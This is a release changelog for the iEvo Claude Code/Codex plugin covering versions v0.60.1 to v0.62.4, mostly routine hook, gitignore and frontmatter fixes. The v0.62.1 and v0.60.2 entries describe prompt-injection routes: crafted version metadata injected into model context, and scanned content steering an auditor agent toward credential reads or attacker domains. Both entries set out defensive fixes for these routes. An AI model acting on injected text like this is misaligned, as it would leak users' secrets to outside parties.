• Bug — Step 3.5's UserPromptSubmit/SessionStart/PostToolUseFailure/PermissionDenied (Codex: PermissionRequest) hook entries wired committed .claude/settings.json/.codex/hooks.json to .ievo/hooks/scripts/{correction-capture,evo-analysis-nudge,failure-capture}.sh, but Step 3.5.1 gitignored the entire .ievo/hooks/ tree those scripts lived in. A project that committed the flag + settings (as the skill's own Step 5 recommends) shipped hook entries pointing at files absent on a fresh clone: sh .ievo/hooks/scripts/correction-capture.sh exited 127. UserPromptSubmit fires on every user message, so this was a recurring, visible failure, not the one-time cosmetic error hooks-setup's Stop hook precedent accepts. Reported with a clean-checkout reproduction against iEvo 0.58.1 and reconfirmed on 0.60.4/0.61.1, plus a paired disable-side gap on a hand-rolled .claude/settings.local.json workaround.
• Fix — split the one wired path into a committed shim plus a gitignored companion, and made every writer of the .ievo/hooks/ gitignore entry agree on one negation-capable block.
  • Tracked dispatcher shims (evo-auto-enable/SKILL.md new Step 3.5.1b) — the three wired paths now hold a static shim: identical content on every project and plugin version, committed once, that execs a same-named *.local.sh companion when present, else silently no-ops. Steps 3.5.2/3.5.3/3.6 write the real, accumulator-calling logic to that gitignored companion instead of the wired filename. The hook wiring itself (.claude/settings.json/.codex/hooks.json) is unchanged — it already pointed at the (now-safe) shim path.
  • Gitignore precondition — Step 3.5.1's entry is now a negation-capable six-line block instead of a blanket .ievo/hooks/ line. Git cannot selectively un-ignore a path under a bare directory-form ignore, so the skill detects and replaces a pre-existing blanket line (a pre-#446 run of either skill, or a hand-written entry) rather than appending alongside it, which would leave the negations inert.
  • All three writers converge — /ievo:init Step 10 and /ievo:hooks-setup Step 8, the other two skills that write a .ievo/hooks/ gitignore entry, now emit that same block byte-for-byte, so a re-run of either on a project that already ran /ievo:evo-auto-enable can no longer silently re-ignore the tracked shims. All three converge on the same .gitignore state whichever runs first, and the regression test pins all three copies to one literal.
  • Stale hooks-setup prose — its two claims that .ievo/hooks/ is wholesale gitignored by init Step 10 now name the .ievo/hooks/scripts/* line that actually keeps its own on-stop.sh/version-check.sh untracked.
  • Disable side — evo-auto-disable's cleanup deletes the *.local.sh companions and the vendored fallback copies, but leaves the tracked shims in place: deleting a tracked file would dirty the working tree for no behavioral gain, since a shim with no companion already no-ops.
  • Security tradeoff, stated — committing the shims makes them a repo-resident exec path that runs on every teammate's machine, where previously everything under .ievo/hooks/scripts/ was machine-local. Step 3.5.1b, the Rules section, and Step 5's confirmation now say so and direct reviewers to treat any diff to the (static) shim bodies as an executable-code change; the generated capture logic stays in the gitignored companions, so it never travels with a PR.
• No settings.local.json adopted — that path was evaluated and empirically found to have its own paired evo-auto-disable gap (it never inspected local settings), so it would have traded one workaround for another rather than fixing the root cause (the missing file). The chosen fix means evo-auto-disable still only ever needs to handle the one settings file it already documents.
• Regression test — evo-auto-hooks-lifecycle.test.mjs (new, .github/scripts/validators/tests/) shells the full lifecycle through a real scratch git repo (init → commit → clone) rather than reasoning about gitignore semantics in prose: verifies the negation pattern via git check-ignore/git ls-files against real git, that a clean clone's wired .claude/settings.json AND Codex .codex/hooks.json commands never exit 127, that each of the three shims delegates once its own .local.sh companion is regenerated, and that removing the companions (simulating disable) returns every shim to a safe no-op with the tracked files left unmodified. evo-auto-enable/evo-auto-disable ship as SKILL.md prose, not .mjs modules, so this mechanically re-derives the documented fix rather than importing it — and it reads evo-auto-enable/SKILL.md, init/SKILL.md, and hooks-setup/SKILL.md and asserts that its own shim/gitignore literals appear verbatim in all three sources (and that neither init nor hooks-setup re-emits a blanket .ievo/hooks/ line), so a SKILL.md-side edit on any of them fails the suite instead of shipping while the tests still pass against a stale copy.
• Enable's own success check — the post-write functional check now also asserts all three *.local.sh companions exist on disk, not just that each wired command dry-runs to exit 0.
  • Why the dry-run alone was not enough — the tracked shim exits 0 by design when its companion is absent (that silent no-op is the clean-clone contract), so it could not distinguish "delegation works" from "nothing was ever written"; enable could still report success on a project that captures nothing, the same #432 failure class this release's Codex work closed elsewhere.
  • Where each half runs — the JSON re-parse and dry-run stay in Step 3.5.4; the companions-on-disk assertion runs at the end of Step 3.6, which is the step that writes the last of the three (failure-capture.local.sh). Run earlier it would report a spurious MISSING: failure-capture.local.sh on every linear enable run, against a step whose own rule is "do NOT claim success". The regression test pins that ordering.
  • Claim corrected — the step no longer claims to exercise "the full delegation chain": the dry-run proves the wired path resolves without a 127, the file check proves the companions landed, and the shim's exec of a present companion is proven by the regression test rather than by either.
• Scope — four substantive skill files (evo-auto-enable/SKILL.md, evo-auto-disable/SKILL.md, init/SKILL.md, hooks-setup/SKILL.md) plus one new test file; no script logic or CI change beyond the mechanical version bump. hooks-setup/SKILL.md's own Stop-hook instance of the same committed-settings/gitignored-script pattern is intentionally left as-is (accepted tradeoff for a hook that fires at most once per session, unlike UserPromptSubmit) — only its role as a writer of the gitignore block changed.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.62.3 → 0.62.4).

v0.62.3

Gate /ievo:init and the evo-auto toggles on the invoking client, so a Codex run installs to Codex-visible paths and wires Codex-native hooks instead of configuring Claude Code — closes #432.

• Bug — client detection existed only in init's Step 1.5 pre-flight and never propagated to the write paths. A Codex /ievo:init run vendored skills to .claude/skills/, wrote permissions/extraKnownMarketplaces into .claude/settings.json, and recommended /reload-plugins — every vendored skill invisible to the client that installed it (live repro: a Codex Desktop init left 13 skills stranded under .claude/skills/). /ievo:evo-auto-enable likewise wired its UserPromptSubmit/SessionStart/failure-capture hooks into .claude/settings.json unconditionally, then printed "ENABLED" — on Codex only a flag and queue existed, nothing captured. Root blocker: this repo's own hooks-setup/references/codex-hooks.md under-counted Codex's hook catalog (three events), implying SessionStart/UserPromptSubmit had no Codex equivalent.
• Fix, init — every Claude-Code-only surface now branches on the existing $CODEX_CLI detection (Step 1.5's rule — never command -v codex): Step 1 skips the .claude/settings*.json permission ask; Step 2 creates .agents/skills/ instead of .claude/* vendor dirs; Step 3 inventories the Codex-visible skill dirs (and surfaces stranded .claude/skills/ items as re-vendor candidates — the migration repair path); Step 7a drops type: agent candidates with a visible reason (Codex documents no project-level custom-agent path); Step 7b never offers whole-plugin install on Codex (.claude/settings.json mechanism); Step 9 / install-protocol.md vendor to .agents/skills/<name>/; Step 12 and the frontmatter Stop hook print Codex next-steps ("Codex picks up skill changes automatically — restart Codex if a new skill doesn't appear") instead of /reload-plugins. Overlay creation now preserves an existing .ievo/evolution/skills/<name>.md when the re-vendored source matches its recorded source.repo; on a mismatch (same-named, different-source candidate — the name-collision case the migration re-surface path could otherwise mask) it requires explicit user confirmation, then updates the overlay's source: block with a dated source-change note while keeping captured lessons — a stale source: block would point /ievo:update's upstream refresh at the wrong repo.
• Fix, evo-auto-enable/evo-auto-disable — on Codex the same three scripts are wired into project-local .codex/hooks.json (verified shape: single command string handlers, {"hooks": {<Event>: [...]}} layout): UserPromptSubmit → correction capture, SessionStart (matcher: "startup" — Codex supports the same source values) → analysis nudge, and the opt-in mechanical signal → PermissionRequest with outcome: requested, explicitly disclosed as approval-request capture (Codex has no PostToolUseFailure/PermissionDenied; the pre-decision timing difference is stated, not papered over — the script emits no stdout so it can never influence the decision). A post-write functional check (JSON re-parse + script dry-run) and a trust-gate disclosure replace the old unconditional "ENABLED" claim. evo-auto-disable now cleans hook entries from BOTH .claude/settings.json and .codex/hooks.json, whichever exist.
• Fix, lifecycle surfaces (evo/update/uninstall) — the rest of the vendored-content lifecycle branches on the same $CODEX_CLI detection, so the install-path fix can't be undone by the next lifecycle operation: /ievo:evo's Step 1 target scan and Step 2/2.5 vendor writes use the invoking client's own load paths (Codex: .agents/skills/<name>/, skills only — agent-scope lessons on Codex append to an existing overlay or are disclosed as unavailable, never vendored into .claude/agents/), closing the re-vendor-into-.claude/skills/ regression; /ievo:update resolves each target's local copy in the invoking client's dir, skips agent targets and .claude/skills/-stranded copies on Codex with explicit report lines (the stranded case belongs to init's re-vendor migration), and prints Codex next-steps instead of /reload-skills//reload-plugins — keeping init's Codex summary honest when it advertises /ievo:update; /ievo:uninstall scans, reports, and cleans .agents/skills/*/SKILL.md markers and vendored content alongside .claude/ (both dirs unconditionally — mixed-client teams can have both). The shared SessionStart analysis nudge now describes scope=tool-failure candidates platform-neutrally (failures/denials on Claude Code, approval requests on Codex) instead of calling Codex's approval-request capture a failure/denial.
• Fix, delegated + secondary surfaces — the evolution sub-agent (agents/evolution.md — the path /ievo:evo delegates to first, and reachable on Codex) mirrors evo's Step 1/2/2.5 client branching: its target scan uses the invoking client's own load paths (Codex: .agents/skills/*/SKILL.md, skills only — agent-scope lessons on Codex append to an existing overlay or are reported unavailable), and its vendor write + Step 2.5 re-audit gate land in the client vendor path (.agents/skills/<name>/ on Codex), closing the re-vendor regression on the primary evo path. The same blind spot is closed in the remaining inventories and writers: /ievo:handoff's suggested-skills scan and /ievo:extract-best-practices' Phase 2 installed-target cross-check scan the invoking client's dirs, and consolidate's Step 8 / references/package-authoring.md's registration write freshly-authored skill packages to the invoking client's path, with agent-shaped packages disclosed as Claude-Code-only at Checkpoint 1 (package-authoring's claim that Codex picks up project-scoped .claude/skills/ automatically was false — corrected to name each client's actual scan dir).
• Fix, reference doc — hooks-setup/references/codex-hooks.md now states the verified full 11-event Codex catalog (SessionStart, SessionEnd, PreToolUse, PermissionRequest, PostToolUse, PreCompact, PostCompact, UserPromptSubmit, SubagentStart, SubagentStop, Stop), the additionalContext-accepting events, the hooks.json layout, and a correction note; hooks-setup/SKILL.md's compatibility: field drops its matching three-event claim. All catalog/shape claims re-verified against the official Codex hooks + skills docs (developers.openai.com/codex/hooks, /codex/skills) on 2026-07-25.
• Scope — fourteen substantive skill/agent/command/reference files under plugins/ievo/ (init/SKILL.md + its install-protocol.md/log-format.md, evo-auto-enable/SKILL.md, evo-auto-disable/SKILL.md, hooks-setup/references/codex-hooks.md, evo/SKILL.md, agents/evolution.md, commands/update.md, commands/uninstall.md, handoff/SKILL.md, extract-best-practices/SKILL.md, consolidate/SKILL.md + its references/package-authoring.md) plus the one-clause hooks-setup/SKILL.md compatibility correction; no script, CI, or security-model change. debug-on/debug-off verified out of scope (no .claude/settings.json writes; already platform-aware).
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.62.2 → 0.62.3).

---

v0.62.2

Fix /ievo:init step-9 overlay stubs to emit the full evo-spec frontmatter — closes #449.

• Bug — install-protocol.md §9a step 4 wrote the vendored skill/agent overlay stub with source: only (repo/path/commit_sha/fetched_at), omitting the target/target_name/created fields evo/SKILL.md Step 4 defines as required for every agent/skill overlay. The stub's Trigger: line also read /ievo:init step 9, diverging from the canonical vendored from <upstream> value evo/SKILL.md Step 5 reserves for /ievo:init. Result: the first /ievo:evo capture on a freshly-vendored skill either had to repair the frontmatter or appended onto a schema that silently disagreed with every overlay /ievo:evo creates directly.
• Fix — install-protocol.md §9a step 4's skill stub template now emits target: skill, target_name: <name>, created: <ISO-timestamp> alongside the existing source: block, and **Trigger:** vendored from <owner>/<repo>. The agent case (§9a "Agent: same as skill, but…") is fixed symmetrically — target: agent — since it inherits the same template and the bug applied equally to both. init/SKILL.md's Step 9 one-line summary updated to describe the full frontmatter instead of just "source repo + commit SHA".
• Scope — plugins/ievo/skills/init/** prose only (reference doc + its SKILL.md pointer); no script, no CI, no security-model change. Does not migrate already-vendored stubs in existing projects — target/created would have to be back-filled from vendor history that isn't reliably recoverable, and this only changes what new stubs look like going forward, matching the issue's own scope.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.62.1 → 0.62.2).

---

v0.62.1

Validate and JSON-encode SessionStart version-check hook metadata — closes #450.

• Bug — hooks-setup/SKILL.md Step 5.7.3's generated .ievo/hooks/scripts/version-check.sh used installed/latest (plugin.json's local version and the marketplace's plugins[0].version, fetched over network or read from a 24h local cache) without any SemVer validation, then interpolated both raw into additionalContext (SessionStart hands this to the model as trusted context) via printf '...%s...' — a live prompt-injection vector if either value were ever crafted or the marketplace source compromised. The same unvalidated printf '%s' pattern also wrote latest into the cache file, so a crafted value would poison the cache and re-propagate on the next session; a " or newline in either value also produced malformed hook JSON.
• Fix — added a strict X.Y.Z SemVer gate (is_semver(), POSIX case-pattern, no bashisms) applied to installed right after it's read, to latest after a cache hit, and to latest after a network fetch — the last check runs BEFORE the cache write, so a bad fetched value can never poison the cache. A rejection falls through to the existing fail-silent exit 0 contract (a cache-read rejection instead falls through to a fresh network fetch, so one bad/tampered cache entry doesn't kill the nudge for the rest of the TTL window). Both JSON emission points (the cache write and the final hookSpecificOutput line) now use jq -n --arg/--argjson instead of printf %s string interpolation, so quotes/newlines can never produce malformed JSON even though the SemVer gate already excludes them. Manually verified against the issue's exact repro payloads (injected instruction text, embedded newline, embedded double quote) plus a simulated compromised-marketplace response and a pre-poisoned cache file — all rejected with nothing emitted; the legitimate behind-version nudge still emits valid JSON.
• Scope — one substantive file changed, plugins/ievo/skills/hooks-setup/SKILL.md (Step 5.7.3's embedded script + its CONTRACT comment). No checked-in script file or test-coverage obligation — the fix lives entirely inside SKILL.md prose, per the existing coverage carve-out for embedded shell templates. The rest of the diff is this changelog plus the mechanical version bump below.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.62.0 → 0.62.1).

---

v0.62.0

Document three Cursor v3.7/v3.8 platform-native alternatives across deep-review, schedule, and handoff — a Cursor compat sweep folding in two companion proposals — closes #203, #220, #225.

• Gap closed (#203) — deep-review/SKILL.md's compatibility: field acknowledged the Task-tool sub-agent limitation on non-Claude-Code/Codex platforms but said nothing about Cursor v3.7+'s native /review (Bugbot) command, leaving Cursor users without guidance on which review tool to reach for.
• Fix — appended a one-sentence note to the compatibility: field: Cursor v3.7+ users get /review as a faster (~90s) platform-native alternative; /ievo:deep-review remains the pick for the structured 11-point checklist. Field stays within the 500-char COMPATIBILITY_MAX_LENGTH (471/500).
• Gap closed (#220) — schedule/SKILL.md only documented Claude Code Routines with a generic CI-cron fallback for "Codex and other platforms" — no mention of Cursor v3.8's /automate command, which creates Cursor Automations (including a GitHub "workflow run completed" trigger) without requiring a Claude subscription.
• Fix — added a two-sentence paragraph after the skill's intro naming /automate as a Cursor-native alternative, linking to the Cursor changelog for current syntax rather than duplicating a tutorial; the existing Routines wizard and CI-cron fallback (Step 1b) are unchanged. The compatibility: field was rewritten to match: its blanket "Claude Code only … Codex and other platforms: use the CI cron fallback" framing scoped the Claude-Code-only constraint to Routines themselves and now routes Cursor v3.8+ to /automate rather than CI cron (488/500 chars).
• Gap closed (#225) — no skill told Cursor v3.7+ users how to persist the iEvo-ready environment across /in-cloud cloud sessions via .cursor/environment.json.
• Fix — handoff/SKILL.md's "lighter alternatives" table gained one row whose situation ("you want /in-cloud sessions to start with iEvo already installed") is genuinely better served by environment.json's installed-plugin-state snapshot than by a handoff, with a pointer to pair the two when the new session also needs cognitive-state context.
  • init/SKILL.md is deliberately unchanged. A Cursor-only addition to Step 12's printed summary has to be platform-conditional the way the neighbouring Codex line is, and that needs a way to tell a Cursor host apart: no $CODEX_CLI-equivalent signal is documented for Cursor, so the condition could never be evaluated and the line would never print. A guard that cannot fire is worse than no note at all — the handoff row is the single home for this guidance.
• Scope — two companion proposals (#220, #225, both backlog-verified and closed) folded into this build per operator scope-extension comment on #203; one version bump for all three per "one build" framing. Each note kept to 1-3 sentences with no feature tutorials, per operator direction — a deliberate scope-down from the more elaborate wizard/subsection changes #220 and #225 originally proposed.
• Sources — each claim cites a dated Cursor changelog permalink, independently re-fetched and quoted verbatim during this build (the generic cursor.com/changelog listing paginates these entries out):
  • /review — cursor.com/changelog/bugbot-updates-june-2026 (Cursor 3.7+, Jun 10 2026): the native command, ~90s review time, +10% bug detection, duplicate-PR sync.
  • /automate — cursor.com/changelog/06-18-26 (Cursor 3.8, Jun 18 2026): "Use /automate to create an automation directly in your local agent session", plus the "Workflow run completed" GitHub trigger.
  • .cursor/environment.json — cursor.com/changelog/cloud-in-agents-window (Cursor 3.7, Jun 17 2026): the reusable environment snapshot, that it "benefits your entire team when committed to .cursor/environment.json", and /in-cloud cloud subagents.
• Version — bump per AGENTS.md rules (feat: → minor); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (0.61.1 → 0.62.0).

---

v0.61.1

Fix /ievo:deep-review exiting without reviewing a clean PR branch's committed diff — closes #445.

• Bug — Step 1's scope cascade only ever checked git diff --staged and git diff (unstaged). On a clean PR branch — changes committed, nothing staged or dirty — both checks came up empty, the skill printed Nothing to review — no staged or unstaged changes detected., and exited without ever considering the committed diff a reviewer actually needs.
• Fix — added a third tier to the cascade: when staged and unstaged are both empty, resolve the remote default branch (git symbolic-ref refs/remotes/origin/HEAD, falling back to gh repo view --json defaultBranchRef), take git merge-base HEAD origin/<default-branch> and, if <merge-base>..HEAD is non-empty, offer it via AskUserQuestion before falling through to the existing hard exit — mirroring the skill's existing staged→unstaged confirmation pattern rather than silently auto-reviewing a range the user didn't request. The merge-base form and the first two resolution tiers match plugins/ievo/commands/vuln-scan.md's --diff scope: a two-dot origin/<default-branch>..HEAD would render default-branch-only commits as reversed deletions whenever the branch is behind, producing false findings. That command's third tier — warn and hardcode BASE_BRANCH="main" — is deliberately not carried over: a scan that guesses a base and over-reports is recoverable, but a review silently diffing against a main the repo may not have would hand the reviewer a fabricated range, so an unresolvable default branch exits here instead of guessing. The hard exit remains the final fallback when the default branch or merge base can't be resolved (detached HEAD, no origin remote, shallow clone, gh unavailable) or the range itself has no commits ahead.
• Scope — one substantive file changed, plugins/ievo/skills/deep-review/SKILL.md (Step 1 + a Rules mention); Step 2's diff capture already generically supports a <range> scope, so no change needed there. The rest of the diff is this changelog plus the mechanical version bump below.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.61.0

Add effort: and argument-hint: frontmatter across iEvo agent, skill, and command files, and evaluate paths: — a frontmatter-compat sweep folding in two companion proposals — closes #157, #175, #177.

• paths: ships documented-but-unused — every iEvo skill failed the "file-context is genuinely predictive" test, so the field is recorded in AGENTS.md with its criteria instead of applied (see the #175 bullets below).
• Gap closed (#157) — none of the 5 plugins/ievo/agents/*.md files (deep-reviewer, evolution, repo-indexer, security-auditor, vuln-scanner) declared effort:. Claude Code's sub-agents docs document effort as a first-class agent field (overrides session effort; values low/medium/high/xhigh/max), and Opus 4.8 (CC v2.1.154) now defaults to high effort — without a pin, a mechanical agent like repo-indexer (deterministic filesystem scan) inherits unnecessarily deep reasoning, while a security agent inherits whatever a low-effort caller session happened to be in.
• Fix — pinned per task complexity: repo-indexer.md → low (deterministic scan_repo.mjs scan); deep-reviewer.md/security-auditor.md/vuln-scanner.md → high (structured review / antivirus audit / exploit-chain validation all need thorough reasoning regardless of session context). evolution.md → high as well, despite its Steps 2-4 overlay append being mechanical: its Step 2.5 applies security-check's full threat-pattern deep-scan and GREEN/YELLOW/RED verdict to freshly-vendored content before that content lands in .claude/agents//.claude/skills/ (v0.54.9+, #357), and effort is per-agent rather than per-step — so the security gate sets the floor, exactly as it does on the three agents above, and low there would have downgraded that audit even for a high-effort caller. Each file carries a rationale comment above its effort: line. deep-reviewer.md was pinned high rather than the originally-proposed medium per operator amendment on #157.
• Gap evaluated (#175) — no iEvo skill used the paths frontmatter field (CC skills.md, post-2026-06-02) to scope auto-activation to sessions with relevant files in context; skill suggestions were always-on regardless of file relevance.
• Outcome — paths: is documented but applied to no skill. The field was gated onto index-repos and hooks-setup in earlier passes of this build and both gates were removed after review: hooks-setup's primary case is the first run, where .claude/settings.json does not exist yet (its Step 4 treats an absent file as {} and Step 8 has a dedicated Write branch to create it), so gating on that file makes the skill un-activatable in exactly the session that most needs it; and index-repos' subject is a remote repo named by the caller and shallow-cloned into ~/.ievo/checkouts/, so no local SKILL.md / AGENTS.md / .claude-plugin/ in the user's tree is evidence of relevance — an ordinary project has none of them. Three further candidates were excluded on the same principle: deep-review and init already set disable-model-invocation: true, which withholds the description from the model entirely (verified against code.claude.com/docs/en/skills) — Claude never reaches the file-context check paths would gate, so the field is silently inert there; vuln-scan's CWE taxonomy is language-agnostic, so any extension allowlist (**/*.ts, **/*.py, **/*.go, …) silently kills auto-activation for every language it omits — Rust, Java, Ruby, PHP, C# — and misses sibling extensions like .tsx besides; and security-check has two programmatic consumers that reach it before any candidate file is in context (evolution.md preloads it via skills: sub-agent frontmatter for the Step 2.5 vendor-time re-audit (#357), and security-auditor.md Step 1 loads it through the skills system at the top of a fresh sub-agent, ahead of its own Step 2 clone/read), and the docs state neither way whether the file-context filter applies on those paths — an unverifiable risk of silently stripping the #357 antivirus gate. #175 therefore closes as an evaluated negative: every iEvo skill fails the "file-context is genuinely predictive" test the proposal itself assumed, and a gate that never fires is strictly worse than none. Each skill carries an inline rationale comment where its gate used to be, and AGENTS.md § Skills format records the field, the root-anchoring rule (patterns are root-anchored unless **/-prefixed — the docs' own table reads *.md as "markdown files in the project root"), all six exclusions, and the generalisable test for the next candidate: a gate is only safe when its precondition is satisfiable at the moment every consumer reaches the skill — human auto-activation, sub-agent preload, and the skill's own first run alike.
• Gap closed (#177) — components that accept user-typed arguments carried no argument-hint, leaving the / menu autocomplete without a hint of expected input. The first pass of this build fixed only inspect, feedback, index-repos, and handoff; review found the set incomplete and commands/ untouched entirely.
• Fix — applied as a rule rather than a hand-picked list: every component whose own body documents a user-supplied argument now carries a hint, commands/*.md included. Claude Code merged custom commands into skills, so a commands/*.md file and a SKILL.md read the same frontmatter table (code.claude.com/docs/en/skills), and the omission of commands/ had no basis. Added this pass: security-check "[owner/repo@skill] [skill|agent|plugin]" (the candidate identifier + type its own ## Input documents), commands/vuln-scan.md "[--diff|--pr <number>|--module <path>|--full]" (its scope-mode table), evo "[lesson]", consolidate "[--root <path>]" (its Step 0 flag), and deep-review "[--staged|--working|--range <ref>..<ref>]" (its Step 1 scope-mode table — disable-model-invocation: true makes the / menu that skill's ONLY surface, so the hint matters more there, not less). Retained from the first pass: inspect "[owner/repo] [ref]", feedback "[title]", index-repos "[owner/repo ...]", handoff "[purpose]". Deliberately none on skills/vuln-scan/SKILL.md, whose ## Input (module_path, threat_context, scope_metadata) comes from the vuln-scanner agent dispatch rather than a user — its user-facing /ievo:vuln-scan entry point is commands/vuln-scan.md, which carries the hint — nor on the components that take no arguments (init, version, overlay-status, schedule, debug-on/debug-off, evo-auto-enable/evo-auto-disable, extract-best-practices, commands/uninstall.md, commands/update.md). AGENTS.md § Skills format now states the criterion first and derives the set from it, instead of freezing a four-name list as the convention.
• Validator impact — validate_agents.mjs already validated effort: if present (error on invalid value only, no absent-field error for agents); no validator change needed. validate_skills.mjs does not enumerate a known-optional-field allowlist, so the new argument-hint key passes through untouched. Its parseFrontmatter docstring gained a comment-only note recording the flip side: because that parser models flat scalars only, a bare key: introducing a YAML sequence leaves the key unset, so the list-valued fields (allowed-tools, and paths if it is ever adopted) are invisible to the validator and AGENTS.md's root-anchoring rule for paths cannot be machine-enforced — it is a review-time check. Teaching the parser sequences would forfeit the nested-key-smuggling guarantee that flat parsing provides, so the limitation is documented at the source rather than papered over. No logic changed. node plugins/ievo/scripts/validate_agents.mjs (5/5) and node plugins/ievo/scripts/validate_skills.mjs (19/19) both pass with 0 violations.
• Scope — three companion proposals (#175, #177, both backlog-verified and closed) folded into this build per operator scope-extension comment on #157; one version bump for all three per "one build" framing. #157 and #177 land as changes; #175 lands as an evaluated negative with its criteria documented. No script logic changed (the only .mjs edit is a comment), no coverage impact — all changes are additive frontmatter + docs.
• Version — bump per AGENTS.md rules (feat: → minor); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.60.4

Small-correctness sweep: /ievo:update points to /reload-skills (not /reload-plugins) for refreshed skill content, plugin.json declares defaultEnabled: true explicitly, and README documents the git-clone .claude/skills auto-load developer install path — closes #166, #158, #160.

• Gap closed (#166) — commands/update.md Step 6's post-refresh reminder told users to run /reload-plugins to activate freshly-overwritten .claude/skills/<name>/ content. Claude Code v2.1.152 shipped /reload-skills, the command specifically designed to re-scan skill directories without a session restart; /reload-plugins targets plugin manifests, a different surface, so users following the old instruction either reloaded the wrong thing or had to restart their session to pick up the refresh.
• Fix — Step 6 now tells users to run /reload-skills for skill content (with the v2.1.152+ minimum-version note) and keeps /reload-plugins as a separate line scoped to .claude-plugin/plugin.json manifest changes.
• Gap closed (#158) — plugins/ievo/.claude-plugin/plugin.json had no defaultEnabled field. Claude Code v2.1.154 introduced defaultEnabled: false as an explicit opt-out; iEvo's always-on activation intent was only implicit.
• Fix — added "defaultEnabled": true to plugin.json, making the intent explicit and audit-legible.
• Gap closed (#160) — README only documented marketplace-based install. Claude Code v2.1.157 added auto-loading of plugins placed under .claude/skills/ directories without marketplace registration — a simpler path for contributors tracking main directly, undocumented until now.
• Fix — added a "Developer install (git clone, no marketplace)" subsection to the Quick start section: the git clone → ~/.claude/skills/ievo path, its v2.1.157+ requirement, and git pull for updates. README-only, per operator scoping — no skill-body changes.
• Scope — three tiny, independently-verified documentation/manifest corrections consolidated into one build and one version bump per operator direction (see #166 scope comment, which also closed #158/#160 into this issue). No script logic changed; no coverage impact.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.60.3

Upgrade validate_skills.mjs's missing effort: frontmatter field from a warning to an error (CC v2.1.162 /effort persistence) — closes #187.

• Gap closed — Claude Code v2.1.162 made /effort persist across sessions instead of resetting at session end. Before that release, a SKILL.md without effort: was merely inconvenient (no status-bar display); after it, a missing effort: silently inherits whatever effort level the user left set from an unrelated prior session — e.g. a lightweight skill unexpectedly running (and pricing) at max. checkEffortField() still returned severity: "warning" for an absent field, which does not fail CI, so a new SKILL.md merged without effort: passed validation undetected.
• Fix — checkEffortField() now returns severity: "error" for an absent effort: field (the invalid-value case was already error and is unchanged); updated the message to reference the v2.1.162 persistence behavior and the file-header comment (line 11) to "errors on absent, errors on invalid value".
• Dead-code cleanup — effort: was the validator's only source of warning-severity violations; flipping it to error left main()'s per-file "print queued warnings under a passing ✓ line" loop permanently unreachable (no rule can ever produce a warning). Removed that loop — totalWarnings counting and the "N warnings" summary line stay in place (always print, just always 0) for any future rule that reintroduces warning severity.
• Test coverage — updated validate_skills.test.mjs assertions for the absent-effort path (checkEffortField, validateSkillContent, and the main() CLI end-to-end cases) from warning/exit-0 to error/exit-1; reworked the --quiet warning-suppression case (no longer reachable) into a plain pass-suppression case; kept fixture skills that aren't testing the effort rule on a real, valid effort: value so each test isolates one concern. validate_skills.mjs remains 100/100/100 (line/branch/function) on coverage-gate.yml.
• Regression check — all 19 shipped plugins/ievo/skills/*/SKILL.md files already declare effort:, so none newly fail; node plugins/ievo/scripts/validate_skills.mjs passes 19/19 with 0 errors, 0 warnings.
• Scope — confined to plugins/ievo/scripts/validate_skills.mjs, its test suite, and this changelog/AGENTS.md ledger entry; no other validator or skill file touched.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.60.2

Document CC v2.1.187's sandbox.credentials setting and WebFetch permission-rule domain scoping as operator-side defense-in-depth for security-check/vuln-scan — closes #234.

• Gap closed — security-check/SKILL.md and vuln-scan/SKILL.md's disallowed-tools blocks write actions (Write, Edit, destructive Bash) but not a sandboxed Bash command reading a credential file, nor a WebFetch call reaching an attacker-controlled domain, if content under scan prompt-injects the auditor into trying either.
• security-check/SKILL.md, vuln-scan/SKILL.md — added a "Sandbox hardening (CC v2.1.187+)" section to each: (1) sandbox.credentials, a structured {files, envVars} object (not a boolean, as an earlier draft of this proposal assumed) that requires sandbox.enabled: true and restricts sandboxed Bash reads only — the Read tool each skill's own file-fetch/source-review flow uses is unaffected; (2) a permissions.allow rule scoped to WebFetch(domain:...) for the exact domains a scan needs, since a scoped specifier in a skill/agent's own frontmatter carries no effect (ievo-ai/skills#212).
• AGENTS.md § Security model — added a bullet documenting both settings alongside the existing CLAUDE_CODE_SUBAGENT_MODEL/model-bypass-vectors cluster.
• Scope — documentation-only; no script logic changed, no coverage impact. Confined to AGENTS.md, plugins/ievo/skills/security-check/SKILL.md, plugins/ievo/skills/vuln-scan/SKILL.md.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep (scan_repo.mjs intentionally left decoupled, per its own versioning policy).

v0.60.1

Document Claude Code v2.1.169's --safe-mode/CLAUDE_CODE_SAFE_MODE as a total bypass of iEvo, and disableBundledSkills/CLAUDE_CODE_DISABLE_BUNDLED_SKILLS as the non-bypass contrast case — closes #189, #190.

